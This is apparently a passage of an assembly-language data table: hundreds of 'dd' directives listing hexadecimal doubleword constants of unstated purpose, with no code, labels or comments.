		dd 2DD0969Ch, 67FA04C0h, 77BAD5Ch, 0FD7258ABh, 9D51F190h
		dd 6B261822h, 4D606145h, 57D96D01h, 0C07F4432h,	79082ACFh
		dd 3CB20080h, 33A406Dh,	7C00589Eh, 4CA0CBBBh, 1C1C635h
		dd 7DB096ECh, 40442EE1h, 6D8E7E9Ch, 3400BCF0h, 0BEB6535Dh
		dd 62669h, 0C494F698h, 7C35251Fh, 583C0500h, 0DA112803h
		dd 0B0E201B4h, 260B4752h, 0AEC7D0F1h, 873BBD00h, 2F052899h
		dd 624C002Ch, 1870F729h, 0DF393149h, 6700F420h,	0FC25F385h
		dd 382EFFEh, 0A528E8B3h, 6898E711h, 62002D72h, 0EA6960BCh
		dd 311A0Bh, 9EDF4320h, 1D502AB4h, 7A1B4400h, 0E3E7797Bh
		dd 72F0006Bh, 0AE82745Eh, 1D00EB6Dh, 0E99EED95h, 3A035D5Ah
		dd 54835F46h, 8876B2C2h, 17633000h, 0E7927DF4h,	7CF8F039h
		dd 83293A74h, 0D4610B8Bh, 5D459103h, 0EB8831D8h, 0C5556C00h
		dd 9352E791h, 3A3E7B82h, 333A2DE6h, 51615B85h, 5A06C003h
		dd 0F230AD4Dh, 91C11931h, 0F080064Eh, 31629D15h, 0DC6FA903h
		dd 725A2E89h, 0CD18C068h, 0EBD16D87h, 7B5C4D00h, 137ED2A8h
		dd 65941FFCh, 289F9845h, 0F676105Dh, 41EC5E18h,	0CEF1C0h
		dd 0F7439862h, 0B856B001h, 6CA1AF06h, 0CE17876h, 0ED4E8396h
		dd 2D004530h, 0D8A2C57Bh, 7B8AD7Dh, 0A5530E94h,	48A6A0CCh
		dd 99613A8Eh, 1560F950h, 55D40E7Fh, 49C79FA0h, 53009205h
		dd 1CFC8FA7h, 0A6F00Ah,	6A563A1Bh, 129E7C15h, 5520690Ch
		dd 606E0939h, 0E8A201Eh, 6C006B7Ch, 146546BAh, 3B373CC0h
		dd 4D009EB3h, 0BD972474h, 0C8013975h, 4E501192h, 70F06D03h
		dd 0C5231E57h, 1ACA8EC0h, 0F4B427h, 26C7B6F6h, 0F40D3F3Fh
		dd 512020h, 0C9F3EE05h,	7E038139h, 4A258300h, 36A353F6h
		dd 28AE0634h, 50E962C0h, 7DC14438h, 0A8276Fh, 0F27F61FAh
		dd 0DEFB0C9Fh, 0D609A2A6h, 5A203761h, 17D47F0Ch, 18503E28h
		dd 88136307h, 41251B1h,	88C0B62Bh, 40110C50h, 0C1C899B6h
		dd 0D3326205h, 0A00892CDh, 7C14C00Fh, 11211207h, 1D418825h
		dd 7C40791Fh, 0E5815A1Eh, 0A5711D32h, 0E73B8050h, 0E4F037C1h
		dd 0C07ECB00h, 0C4559A4Bh, 7E66F8CCh, 9D4318CAh, 0B0310C7h
		dd 0B86DF106h, 86E4Bh, 0BA49111Eh, 4D375582h, 4ABBF500h
		dd 0B42C19Ah, 0AC700E2h, 0BA3FC0EEh, 0FF0054EBh, 7E3CF4B2h
		dd 1E9CBB28h, 10EFADD0h, 480CBFCFh, 0D510DADCh,	8762B800h
		dd 0F23EC49Ch, 0CCA60FADh, 0EE800C6Eh, 5211BC48h, 31BEC238h
		dd 0F3FA2972h, 0F0102F12h, 6743880Fh, 0B008A689h, 84B41944h
		dd 737522h, 0A6AE0142h,	3A11E537h, 0F81C9400h, 7C67B4CAh
		dd 32FCB1h, 9DDD77EAh, 89975175h, 0B6D2F000h, 3B223776h
		dd 0C8BD00FCh, 8678E329h, 8800DBD7h, 92B693Ch, 0F34B7Eh
		dd 7A8FFFCAh, 0ED90A319h, 0ADC26400h, 52E4453Fh, 1D2CE4EBh
		dd 0B49FF4h, 78A26C12h,	0F6073F28h, 0E935CC30h,	0C2805654h
		dd 0A81898h, 852EFC08h,	0F855A0D0h, 80C3BD3Ch, 704E6CD9h
		dd 7861E565h, 0B0FA003Bh, 0BA4DECD6h, 0C06C61Eh, 718EFB8Fh
		dd 3C07B29h, 940F1ADBh,	89D9E1D8h, 0CCD4433Dh, 5E0E84Bh
		dd 735001DFh, 0BE7B55B5h, 0C984C08Ch, 0FEC5E803h, 80613E8Bh
		dd 7834106Eh, 0CD4D01E2h, 0CB1CF3D5h, 0D382CCA1h, 89D02100h
		dd 179FD62Ch, 60D400A4h, 7FD7B586h, 0E0006577h,	62CDF9CEh
		dd 0F7B38C0h, 22559C29h, 0DC963C80h, 6612F3B2h,	2440AE23h
		dd 698C36B4h, 37EB0065h, 5A286A1h, 2007147Bh, 0FA513910h
		dd 0CE8F5Fh, 0FD21843Ah, 17530065h, 0EAC59A07h,	0CB2430ADh
		dd 9600B22Eh, 0C731FC4Dh, 0CEE40B9Fh, 0A8F0ECC8h, 1A207001h
		dd 0BC3F2CDDh, 0E3218D4h, 0F2AA1055h, 0FF469AC0h, 5D4EFC71h
		dd 654EE0h, 90302A5h, 49EE789Eh, 0D14EDF00h, 0B16FCD1Ch
		dd 65E90023h, 26E24DE1h, 5900BFF9h, 37D2D0C3h, 0BE0676h
		dd 84177715h, 0D62D68F5h, 3203C500h, 628E2EE8h,	0A0980212h
		dd 0DF051D56h, 819BD480h, 4200A1E6h, 0CA70633Eh, 2D77A6h
		dd 38794525h, 0DFF7D676h, 812EB000h, 6E10FD97h,	174031Bh
		dd 0F43DFEB4h, 4AAD0BD0h, 0EB00D379h, 0D029B57Eh, 43641h
		dd 5CAE6F9Fh, 4995274Bh, 2899D93Ah, 0C31CE789h,	9B526188h
		dd 0C4CDD00h, 82B171h, 5A8525DDh, 8F38BAC7h, 670F6600h
		dd 0E95D2603h, 0BBC8F188h, 271312B2h, 763C0283h, 0B50440E7h
		dd 6509488h, 0C36652E3h, 9600B06Dh, 5C2F8259h, 374B8Bh
		dd 229F479Ch, 0ADEBB2CEh, 36A00900h, 1CE28130h,	0E9AE3CA7h
		dd 0AAB9Fh, 0D1343861h,	4706133Ah, 0ED729BF5h, 0E1CB0248h
		dd 9E39EFC9h, 9DAF5540h, 0DD4DE200h, 0B45BA52Fh, 0F5590091h
		dd 0A4E0AEEFh, 2C3D1628h, 47B880D4h, 0F2E5C5FDh, 0F229E226h
		dd 89830061h, 0A8F069C7h, 3D13C315h, 7C03C909h,	0F0DD8623h
		dd 0A0C40C8Dh, 509157E1h, 73DF40h, 0C6D84243h, 8A79E7A0h
		dd 4586C500h, 0CCE5924Eh, 0BBAB034Ah, 0D6BA7AF3h, 0BF89F7B0h
		dd 1305B4Dh, 9F9228C3h,	5D30BD58h, 77E33C6Fh, 2A56019Dh
		dd 1B4F0498h, 0C02F2034h, 0ADFEF930h, 0FF527E1Ch, 855DA3C0h
		dd 0F5BD06h, 0C4100DE8h, 75C8DD6Dh, 2E01E175h, 547E704Ch
		dd 58FCE43Dh, 27EF099Dh, 140737E5h, 4C803F14h, 8C5D0D16h
		dd 55D63E00h, 0D4036571h, 0C974BAh, 0A1FDC8AEh,	73C539F3h
		dd 30121900h, 0D55BD13Eh, 0D9EF0052h, 7E409D2Ah, 0D4079CADh
		dd 0FC0F9A7h, 82B084B7h, 4EE78Bh, 0FCD091B5h, 19D1D5E6h
		dd 2ED91400h, 33E59635h, 21070044h, 0B017A6E2h,	3B0025A2h
		dd 0B9035D40h, 0CC7AC4h, 41EF62C8h, 894FB07h, 42040600h
		dd 0A00EF058h, 19880EF3h, 0C8C7A347h, 6094C036h, 4604030Fh
		dd 0A77926FDh, 0F4888CC0h, 289D6053h, 0DC0FE1D2h, 0BC33E300h
		dd 5DD3C1FDh, 681600C4h, 0CEBB2E1Ch, 0E600A0A2h, 88AA9358h
		dd 3C74AB5h, 1B3137C2h,	0AFE04019h, 0CA03A404h,	2F51AA41h
		dd 3CBDE802h, 502E004Dh, 4FD10B95h, 55007F66h, 109FC9BBh
		dd 0C86302h, 2BFE507Eh,	0A041B6D0h, 2DCA7B01h, 1645374Ch
		dd 841100D3h, 0A8AD1A2Bh
		dd 0C9027F5Dh, 6FAE6304h, 69A860D8h, 0C1450022h, 0C405B827h
		dd 8E00B1F6h, 98DC1B66h, 0FCFF21h, 4B9E916h, 0FBA3AEC6h
		dd 781E80ECh, 8D001E07h, 0BCB350E6h, 9BC800BBh,	64569053h
		dd 0A200BAEBh, 9E97F5Ch, 0F0CBD9h, 0D7572C9h, 0AE4AB123h
		dd 71248107h, 0AC0005A7h, 39A60FE6h, 0CA0042F9h, 85B7F58h
		dd 4E0F2EB6h, 0A355546Ch, 0E38D951Fh, 0FCC9F0E3h, 3C9D7E8Fh
		dd 7C80393Ch, 46218A9Bh, 0B3007091h, 0EF05363Ah, 0F643B0h
		dd 880A316h, 99D2198Fh,	0C1154128h, 0E9EA100Bh,	3730009Ah
		dd 6CD53Ah, 0D21C1F48h,	1AC56788h, 9E66B209h, 79D8003Dh
		dd 3A2E0350h, 7A3817D0h, 6800C622h, 7774E9DBh, 997FF80h
		dd 852FC528h, 0FD87D400h, 7A00B51Dh, 78517196h,	55CD4Ch
		dd 0D33674B7h, 6D6B14AAh, 90B3EE00h, 5F83F43Eh,	9F8702BAh
		dd 6581B0DCh, 9440D1E2h, 39006D43h, 77052A4Eh, 606E5FF2h
		dd 0CF833CB6h, 9A00FD2Dh, 0F071DBC0h, 1960294h,	4D0A75B1h
		dd 70B954FFh, 0DB0020F4h, 0A2CA3828h, 9C33FE9h,	60580110h
		dd 5DB4E880h, 0EE76CB2Ch, 6C528560h, 12984Dh, 96CE0E40h
		dd 90D58F88h, 0A4F82C00h, 53854536h, 0E1C0002h,	300A43FEh
		dd 0A89801F9h, 607DD200h, 0A7DE61CDh, 1CE300ABh, 472B707h
		dd 66EA4B52h, 0F09CB42Ch, 0E9267784h, 595340A0h, 0E0228E8h
		dd 0B8959E2Fh, 850E0C0h, 0D0072AF2h, 0AC5FCFCBh, 3C857D17h
		dd 0EE46B080h, 404100F5h, 61AE572Eh, 45187342h,	0D1945C60h
		dd 0A1C03C3h, 9BD43AE4h, 0D5657800h, 5C20DFECh,	0E746007Ah
		dd 0F0317E3Fh, 83017056h, 0BFAFDBADh, 18E41BC0h, 42C600D7h
		dd 78383B84h, 8E905E9Ch, 2776B300h, 0D80D43Ch, 65C2001Ah
		dd 0E7DB3BC5h, 6400D889h, 405F9535h, 481FE6A8h,	4000E29h
		dd 4416FBABh, 0F9039098h, 0E8D02C0Ah, 0B06C9820h, 4F720712h
		dd 0D4D70Fh, 8F95DFBFh,	142F0A3Bh, 22E8BAB1h, 0B2D90060h
		dd 0AC714575h, 0FD003E82h, 49DAC257h, 93135Ah, 0E50A211Dh
		dd 0F6294576h, 2075BB00h, 8FAC77F5h, 0AA6C009Eh, 6F0F8730h
		dd 5E00951Ch, 0A7093C4Bh, 0D772D5h, 842592CFh, 528FE7DAh
		dd 8A784890h, 80167A00h, 0C215E323h, 0A6D000B2h, 9ACA42C8h
		dd 7F00A790h, 6DA9E44Bh, 1AF1F8Dh, 0F6C328A0h, 0F055A5C2h
		dd 20F52673h, 0DC006F69h, 982D4840h, 6ADBA4h, 0F1B36611h
		dd 0D78D8503h, 4630B200h, 313BADEDh, 55210042h,	95E06DC8h
		dd 56307EDAh, 832298F5h, 0DFE1007Dh, 0AA1D8F1Ch, 763F896Fh
		dd 985841h, 52A2E792h, 7855F44h, 0D7AFF923h, 0A6A41054h
		dd 0D2003949h, 2839D26h, 0BB4ABEh, 0BC0316CFh, 7B52DE3Ah
		dd 0CDBA7500h, 0E688B8DCh, 46780020h, 762429F3h, 51008722h
		dd 0A1253EBh, 479B3Ch, 0CFBC7DA6h, 46AED9FDh, 0A5774D0Fh
		dd 25FE20B5h, 9CA2054h,	0BB27D023h, 8FA4C880h, 0B500660Eh
		dd 812AA56Ah, 1EAE6B1h,	0C722C05Fh, 0C0DF5D12h,	0A3D3695h
		dd 5EF3A43Ah, 0BF186D00h, 184537Fh, 0EC51A631h,	2839F74Dh
		dd 0D6720088h, 6EE3C8BCh, 0F4FF00D7h, 0DA6055CBh, 9B006F66h
		dd 58913D2Eh, 900E4Fh, 40DD3A7Bh, 0CD591C4Bh, 96F53F00h
		dd 0E2DE3705h, 1FA10041h, 0EE8AC0F4h, 0A7001530h, 4238D622h
		dd 0E6FCFABBh, 0AEE0FDh, 173C0F18h, 8202074Dh, 1919E39h
		dd 4085926Dh, 33E4F697h, 7CC10216h, 919D968Ch, 0F880D062h
		dd 891AB6CFh, 0A1318300h, 81E6BD38h, 0F8E00579h, 0C0606999h
		dd 0F9746CFh, 21943A02h, 80C0E5F9h, 5C316BB9h, 649A0068h
		dd 4C978543h, 0D2715BCBh, 0E4413800h, 0E9AB1AA0h, 0F0C40C91h
		dd 6410B365h, 4404Dh, 8ADEC5DFh, 2045513h, 822972E3h, 344046ABh
		dd 4D00C383h, 0AEBF27C2h, 7A55531Ch, 56810234h,	9A9211D6h
		dd 4094E4A3h, 0BB0020EEh, 99018E9Bh, 7D97B89h, 7045986Ch
		dd 0F381A365h, 0B8DE41A0h, 7A1AD38h, 0D303E1F4h, 3F570CCh
		dd 91340171h, 16E96564h, 0FE89D79h, 47BDED00h, 6FC639h
		dd 0C4597160h, 50EAAFEh, 80292039h, 5779287Dh, 4BCD31h
		dd 193D78DAh, 0D9E0B067h, 0F5681401h, 8524FBE9h, 508C2F4h
		dd 0ABAADAC0h, 9F048003h, 0C700DDADh, 0DE7C23D3h, 0A65178h
		dd 0F5022A5Ah, 0EE351649h, 194B8B00h, 0F3B77381h, 4F8002F6h
		dd 0D804EDA0h, 3017FE87h, 7BC2F2EFh, 6FC39B00h,	93E36A1Dh
		dd 7FFAC1h, 0A2BD461Ch,	6E501F95h, 4BB94150h, 992D6D00h
		dd 7844FBF9h, 5DDF00EDh, 0D71CD034h, 9A0AE6A1h,	94DAF0EBh
		dd 36702B00h, 0AE6087h,	610DA034h, 2AA31753h, 48080907h
		dd 0C5D04728h, 12C95158h, 40EA1FD6h, 0D0B8C3F4h, 9300140Ch
		dd 69045C13h, 7C9758B3h, 25117C29h, 90999D5Ah, 62B4F144h
		dd 48AB00F0h, 8DAF5D4Fh, 2FA200FDh, 0E8C6BC2Ah,	0A0057DC9h
		dd 8F65E7E5h, 0B9C09400h, 17E05Bh, 5250FD3Fh, 1314A40Fh
		dd 938CAA00h, 0E5E8AB7Ch, 0A6110079h, 8DC6C55Bh, 0BF1E8791h
		dd 4212D71Eh, 0FCACF003h, 0DD3FA00Bh, 72981806h, 88CC34FDh
		dd 210F2298h, 201845DEh, 700EE1F5h, 0BA3F00D3h,	4DBD5596h
		dd 4AE05CBFh, 84E7BE27h, 0E8B2C1D8h, 86CDC0C1h,	629DF46Dh
		dd 11F26892h, 46A36A0Fh, 90718C4Eh, 2DF0C6h, 4C8351Eh
		dd 595B32C3h, 0D88C2402h, 0E8A477E1h, 1CAC9868h, 0C069B37Ah
		dd 0E954A98Ah, 0F3001742h, 2A32FC62h, 2E6C12h, 2604DC1Fh
		dd 0B4153E95h, 1C757400h, 1B946F54h, 78A73EFh, 0EAD4DC66h
		dd 0E7E09260h, 13E95760h, 3864A23Eh, 9DD780A6h,	60B1CC2Bh
		dd 0E22C9AC5h, 0DB8C0027h, 1D464517h, 84B841B3h, 97267900h
		dd 1F1E68DCh, 3F96267Fh, 5B1200B4h, 49B5AE33h, 0B91B1A00h
		dd 0A7D024ADh, 7F38013Ch, 9D85643Eh, 10B54780h,	30C1BD6h
		dd 41E52D03h, 808281DCh, 0EF62F21h, 0EB98946Ah,	48B22280h
		dd 2D096BDFh, 0F27620Ah, 6591E0DAh, 0D59D29h, 43B448B1h
		dd 48D3412h, 68D21A26h,	4EDE0F0Ch, 5D15162Dh, 0BF750099h
		dd 362C8F71h, 0F6337B05h, 0D8809562h, 0E6A7C0h,	3FEAB52Eh
		dd 7F7BFE35h, 839FDE14h, 0F2027DE1h, 0DA34A2F9h, 4C70EBh
		dd 0ED102938h, 0CCE61B2Ch, 4A73BE03h, 0D84C8530h, 0D53FBFh
		dd 0B25BE753h, 0C92206E1h, 0CA00CF71h, 0BD560A01h, 5B7D1AEh
		dd 0D038894Ch, 148C0195h, 0E01C5483h, 7C00B9FEh, 0EED8D9Dh
		dd 78D3C1h, 4BD86FA8h, 0D1D728ACh, 2299AD0Bh, 9378A27Ah
		dd 25872DCh, 0B60CECEBh, 34E0B304h, 2E003C1Ch, 86D418EFh
		dd 2CA609h, 3A2967Eh, 3E8AD284h, 5B9B3Eh, 37807501h, 585E668Eh
		dd 400E94Dh, 3DE0127Dh,	471EB895h, 0EA8016C9h, 2F8D3B36h
		dd 5D500E7Eh, 3AA09768h, 20FBBCDBh, 0DF4EE400h,	67AF139Fh
		dd 494A0040h, 792F6E83h, 2704738Fh, 650195BDh, 4FFDC0A0h
		dd 741C000Ch, 7D3F698Fh, 0F75FBD39h, 85BF0300h,	0D83A10F3h
		dd 51DB3CA8h, 0FF8E6189h, 71053300h, 560AFE45h,	0A59EBEAEh
		dd 0C5A41700h, 0AD65C1h, 0F941F211h, 1B2875F6h,	3E96BD00h
		dd 0D45C0B06h, 501C001Dh, 0A2B2AA78h, 0ACFA41DDh, 4F805C99h
		dd 0BD04D43Fh, 0B96F000Eh, 8F6054C4h, 1100B6D8h, 76BF420Dh
		dd 40C14B2h, 0BE5347CDh, 0D570C0C3h, 0C40F9E54h, 80450D95h
		dd 37316FB1h, 0E3DE005Dh, 0ED8FB458h, 76007C64h, 3FE02C45h
		dd 3AD2063h, 96553A9h, 4AF0A4C9h, 0C71B8BF1h, 0D9F0796Fh
		dd 0F7708802h, 313700BFh, 0F1191093h, 0F000C28Ch, 0E75A049Ch
		dd 0C70AFh, 844BAAA9h, 5172FC8Dh, 24CAD109h, 66618107h
		dd 246CABE3h, 0F0847B01h, 20CF95A5h, 1A00C608h,	16D656Fh
		dd 9DA8E90Bh, 150F5470h, 4003EA11h, 0EB3218C8h,	837E00A9h
		dd 46E93874h, 92007CACh, 1364861Dh, 0FF0307h, 0C30F871Fh
		dd 20706AA2h, 0A8EB0C26h, 0CCC0F581h, 1EFC4B12h, 0E21001DEh
		dd 503E5CD0h, 0CC83866h, 20856AADh, 0E2160E8Eh,	0DC818632h
		dd 0F4BCD020h, 28C3F4B6h, 0D7B838h, 97135759h, 9A9B6AABh
		dd 0FDC57F00h, 0DFEEB810h, 0C140C038h, 0B2FA1FB5h, 0F3A43900h
		dd 8F42B7A8h, 387100C8h, 3620CF47h, 0B5184F11h,	5D59F0D8h
		dd 0E41C0DAh, 13FACEE3h, 6CD6F809h, 0B8D86857h,	0FFBD001Ch
		dd 451241EAh, 581F8DBFh, 0A5819634h, 85C42714h,	7056A9CCh
		dd 3D1E0088h, 610502BEh, 43008967h, 0F04B5A01h,	4BEF1431h
		dd 390FAC87h, 1D85C85h,	0F5215827h, 3B704859h, 95E40089h
		dd 461D8E4Ch, 7008A06h,	0C3739444h, 305A114h, 0AC4C5678h
		dd 8798AAD6h, 4E0EA42Eh, 60896B8Eh, 79ED0CE9h, 98377382h
		dd 0DD1E0089h, 9D28C533h, 0BE032C40h, 382A97F8h, 267E806Dh
		dd 90F101C8h, 0A9297ADEh, 5A088CD6h, 3B4F2037h,	0A6BEC82Fh
		dd 50313382h, 5240C1BDh, 170ECEC2h, 5F682Dh, 95F1BE7Ah
		dd 0EC7818D2h, 0A3B7619Ch, 46589100h, 8DADF40Ch, 5E3F07BEh
		dd 100A1011h, 0BFEFDCA5h, 0F13D20C2h, 0E9036139h, 5E11204Eh
		dd 56EF81AEh, 0BC50C2B8h, 0E4BB6F9Ch, 0E111CF5Ah, 9728A60h
		dd 0CA185E5Bh, 0EDA079E4h, 9FA4076Dh, 90572ED0h, 3D1DFF26h
		dd 38DFC578h, 429531C0h, 0E13F382h, 4A3825D4h, 0AB8B08E0h
		dd 0DA033B6Ch, 83E1761Dh, 80A80029h, 32EA8AFAh,	4F03ECC8h
		dd 5743DCA8h, 20D80345h, 0C1BB797Eh, 0AA10883h,	8BE19E98h
		dd 0A0FC4480h, 186F91D4h, 879EC9Eh, 0B1001999h,	0FBD3A88Bh
		dd 77816C6h, 0A3F43972h, 0BA61C5B5h, 0D6B8D9C0h, 6F6D7C87h
		dd 408B301Bh, 0F9AF7080h, 200B2F3h, 473E3208h, 1EC30715h
		dd 8012B69Ah, 8BA30F6Eh, 770E95A2h, 811C618Ch, 0BC93FF92h
		dd 0D10048BCh, 4F672EA5h, 181C4827h, 30BA574Ah,	7E63212Ch
		dd 5E713E2Eh, 91B7A80h,	0CA450E49h, 0EBDB780h, 0B11C60C6h
		dd 0A130E086h, 0FDE41303h, 0BBB3A0h, 0F60D8349h, 0F7300846h
		dd 0D30FDCFEh, 1E5AE4Eh, 0B82025E7h, 11CA1AE0h,	717F581h
		dd 3E3843Ch, 6DB73E70h,	0B87C3ABAh, 62210530h, 5F77E239h
		dd 6C6F603h, 0D8969DFEh, 0C5BC4A13h, 40901499h,	2CB70B4h
		dd 590022C0h, 1D9A31A0h, 6C095F85h, 1280A9A4h, 9101F443h
		dd 96B09AE3h, 0F3200CB8h, 0E23E5F00h, 0ABC55800h, 99AA21EAh
		dd 60D87295h, 0D96F9C9h, 0DD656E2Fh, 0AC2009F0h, 0EE2A86h
		dd 5C4C60CBh, 7A400532h, 81976500h, 0B70F3E58h,	14C7FC26h
		dd 0D895DE92h, 60287AC0h, 0C3216F4Fh, 0FD61117h, 0C12D1388h
		dd 0B465D8D7h, 0A9E0CCh, 29C7641Bh, 208A48CFh, 0E318758h
		dd 6014D49Fh, 1CFF98E9h, 0C790FA0h, 62C0692Fh, 8113FC3Eh
		dd 0B4182CEAh, 74396B52h, 0AA6100C7h, 2F41E902h, 8CCE8D5h
		dd 0F1421ADh, 0ECFF5B9Ah, 0DA6B29C0h, 0B000E89Ch, 0EBB1DF4Ah
		dd 264EC236h, 0F445E1h,	0E3C43240h, 2800FDD1h, 0D6EECBA0h
		dd 7483083h, 54D47106h,	4C260790h, 6C3F2B60h, 8CBA3B6Bh
		dd 9B08307h, 0B21C01Fh,	0A3556B45h, 5341B8C4h, 0C761C430h
		dd 44F0FD10h, 118081C8h, 5C565B9Fh, 984F29h, 0DB308566h
		dd 4B6082B4h, 0ACEAA710h, 0ED1B03DEh, 0E7252B81h, 21760830h
		dd 3ABA3CAh, 8FB38069h,	19008692h, 0AD301625h, 73B09B66h
		dd 5B0D1450h, 69806C99h, 68B3B96Bh, 0E4100843h,	42F40055h
		dd 54A1326Bh, 1C48A092h, 14A0008Dh, 53F61E3Dh, 0D30C4CDBh
		dd 59322847h, 4FF37EEh,	72B583E0h, 0E2B3390Eh, 0ABFBE066h
		dd 4F3BE8h, 0F24404D1h,	567B2283h, 9FA07903h, 0F7031813h
		dd 8C96B06Ch, 466B3204h, 2064D0BAh, 6B4BE5C4h, 461E6461h
		dd 0B0CE31F6h, 11ABD1A4h, 88051BC1h, 9749838Dh,	0F6A001A0h
		dd 0AF0034D2h, 87289589h, 2DE5B4h, 5CAA4B84h, 0C75B1ACCh
		dd 125FE21h, 0B3B76B3Fh, 0C11D1858h, 6B38E621h,	378AE8B2h
		dd 730895F0h, 8E307BC0h, 0A0203BF0h, 6FB60A03h,	291491C0h
		dd 79B96h, 5BA979Ah, 1835E026h,	0A2FEAB0Eh, 0AC36E0DDh
		dd 128FD3A5h, 7B324DA9h, 26670020h, 6502DB1Bh, 379C0358h
		dd 571E388Dh, 106C05C0h, 0C5862705h, 0CE83F9DCh, 9DF490DFh
		dd 5864014Fh, 0E1DE2C8Ah, 7C118377h, 0A01E90CEh, 604C1B5Ch
		dd 6D54197Bh, 6000F57h,	0F2D5FCDEh, 0CC7A11h, 29C9B898h
		dd 63824E2Bh, 0D8309C60h, 0C05AB5AEh, 56E61F11h, 6C374BD3h
		dd 33E051A3h, 0C051430Fh, 422ABC11h, 0E606FBCDh, 0F72366A1h
		dd 21766008h, 0B02CC526h, 0E5CC3D0Ch, 4B69B3h, 0DA416106h
		dd 7FC41CA6h, 7495C700h, 63EEA888h, 41A26025h, 4BB24429h
		dd 6532BD18h, 8642A681h, 0BE112B77h, 7788FEFBh,	2CC06780h
		dd 221E6E33h, 0E3006B5Fh, 50353692h, 67EFB6A2h,	0B1BA1859h
		dd 0F4EEC20Ch, 0DF0B3F7Eh, 8C9411CEh, 0D220FCh,	0C5153E2h
		dd 287731D3h, 67564100h, 38DB27BFh, 0B648C6DFh,	13F451D7h
		dd 445A400h, 0AFD42EABh, 0E7C003Ch, 86281669h, 6E00C2BEh
		dd 3663CBC4h, 0CF5867BBh, 91400438h, 70906C2Ah,	9E823419h
		dd 59BB6008h, 0DB91EE80h, 6B1F554Ah, 0F1E67400h, 0A9908214h
		dd 0F4641D30h, 1982872h, 4A7899ABh, 0F6DE6847h,	0D5F380A1h
		dd 1E3C2435h, 294CA500h, 0AC68E6C7h, 8D381E83h,	0DAA6418Ah
		dd 0EE9BFEB6h, 600CBC85h, 0C44211FCh, 0C0CEFB21h, 0D2422835h
		dd 7FE64100h, 0B8E0430Eh, 0F55901DBh, 0B5FFB257h, 8A017BEDh
		dd 0F7861DE9h, 993420h,	4C5DB848h, 352CB21Eh, 21317C00h
		dd 5CA76224h, 706800B9h, 58BF719Eh, 4200DAFDh, 556DD1CCh
		dd 0B2CBD4Eh, 7BB0082Ah, 8F65F980h, 0E2FA7285h,	26AA6E0Bh
		dd 9D5387C8h, 0C6990240h, 29F492h, 96DACE2Fh, 0F71BE081h
		dd 0C9BBE600h, 6490C8F4h, 0CA5C00C5h, 81CC1EECh, 0B0002A04h
		dd 2DF3CBFCh, 7609C797h, 0C0AD1F3Dh, 2E32C231h,	0A62D17Eh
		dd 0BE2AC40h, 238D300h,	0D7CC9E9Bh, 13AC00E9h, 658830E6h
		dd 3D091131h, 855069h, 0B48448F8h, 0DB351F79h, 40D4C073h
		dd 0A7606ED7h, 1809656h, 42DCFD56h, 0C30CD2BCh,	7BAFFA04h
		dd 0E4808E19h, 31AF449h, 0C1ED88D2h, 417C6F9Dh,	283AB55Ch
		dd 6A07D2C3h, 0E16996D0h, 40CEB6B2h, 40A68Fh, 5E90179h
		dd 0F23C9EE0h, 0E8725A00h, 0D5D8D08h, 0BA0A134h, 0F6C4BBC4h
		dd 30C0C4D2h, 73E807AEh, 0D6D71461h, 0CA304A12h, 431011FDh
		dd 0E02F8A9Ch, 63B1F580h, 4A343Bh, 0A3D199F6h, 0ED48D2CCh
		dd 514658h, 0CA045BA1h,	0CE34D6BBh, 0A0081C0h, 0E31DE73Fh
		dd 831F8701h, 718E24A7h, 0C3D74180h, 73AC5B28h,	4AD2E500h
		dd 3096501Ah, 3149DAh, 0B9F15500h, 0D2BE133h, 8D0BC405h
		dd 0C02F63AFh, 0B0081008h, 0C3374940h, 99051288h, 7C2006A6h
		dd 9F0D4082h, 4A03B65Eh, 12E9D4h, 0B5BB90CFh, 7D39B328h
		dd 3196D00h, 0AF951C63h, 521B0073h, 5E696AC5h, 8B288275h
		dd 0D103C0C1h, 30E1F41Fh, 7CCCE0ACh, 7EB8007Fh,	62FC23CBh
		dd 0B6007B65h, 4B205DF2h, 24CACE2h, 1BF93C2Dh, 64C147A9h
		dd 8048DE91h, 0A2003775h, 0EC63AC22h, 0FE48C27Eh, 0EB040001h
		dd 0F851716Dh, 0BF00DDBAh
		dd 0C535ED77h, 40E5EEh,	2F4BD09Bh, 0B84721Bh, 6B005F7Fh
		dd 0E05DA9B0h, 6F217C02h, 6A80406Eh, 0C5150864h, 87854B00h
		dd 37C33ED5h, 0BA9B0001h, 33AD65E8h, 8800672Fh,	0C848F2CAh
		dd 90BEABE6h, 0DB711EC0h, 119CE6E3h, 928F9E6Ch,	0C4A04828h
		dd 0F5244061h, 26DBF192h, 147FBA8h, 4AF3FA27h, 708C34B4h
		dd 5AC7EC01h, 5944228Fh, 3EC21C70h, 8294AEBBh, 0DDAC38CEh
		dd 0FD080F8Ch, 0B8DD5358h, 0BB3CBC00h, 0E5B7BD29h, 0E8AC4D4Ch
		dd 0A2008CCBh, 0A5EDC305h, 29C9DA8h, 0CF732956h, 50932163h
		dd 6C2D91B0h, 0E622B846h, 20C01B6Eh, 770EE4C7h,	0A8E13064h
		dd 2283EA69h, 0B48F8001h, 57E9392h, 6E307061h, 5B2C0BDBh
		dd 0A800D53Ah, 22E9DEE3h, 0D9FAA7EAh, 2E2C3758h, 4E0924FBh
		dd 0FDF08072h, 5A5CA333h, 0F23BC06Bh, 0CC308DD2h, 0E4642047h
		dd 1CDF3DC6h, 6220D8A9h, 5B31BC52h, 47698CDh, 0B8842D3Bh
		dd 32A32EFBh, 0C21120CFh, 0E8EE692Ch, 0FF1D7A0Ch, 35606D5h
		dd 0AD645DC5h, 528BDE2Dh, 7D1C3100h, 0DF9C8AC1h, 105F49E5h
		dd 74847800h, 5511EBA1h, 9E36833h, 98210776h, 11BD746Ch
		dd 0F8DABA0Eh, 7D00150Dh, 0A79FF6E9h, 0C3313A42h, 0C99747E0h
		dd 0EDF039D6h, 9AC82E00h, 74E31B09h, 7CD21C0Bh,	12400085h
		dd 0E5313F7Fh, 160E877Dh, 80D641FAh, 5A375E02h,	0CA8A074Bh
		dd 0C08FC3E6h, 382E7243h, 4734F29h, 0E57142D8h,	6FC61080h
		dd 0E1603ABCh, 0EF7D5E0Eh, 0B84EE068h, 142191Fh, 1C4A0AAEh
		dd 88B21BC1h, 8882CA29h, 7A90B7B9h, 44B54384h, 524481E6h
		dd 45D648BFh, 9228087Eh, 24BB8B42h, 109122A2h, 9380830Eh
		dd 0F85000ADh, 2002BDD8h, 0F100B3B7h, 1DDF1C1Ah, 102BBFh
		dd 244EBA95h, 0D3BBFB19h, 74570C27h, 0C7230013h, 0E83932CDh
		dd 22C97B00h, 0E53A3459h, 1B810043h, 42DF074h, 18000B89h
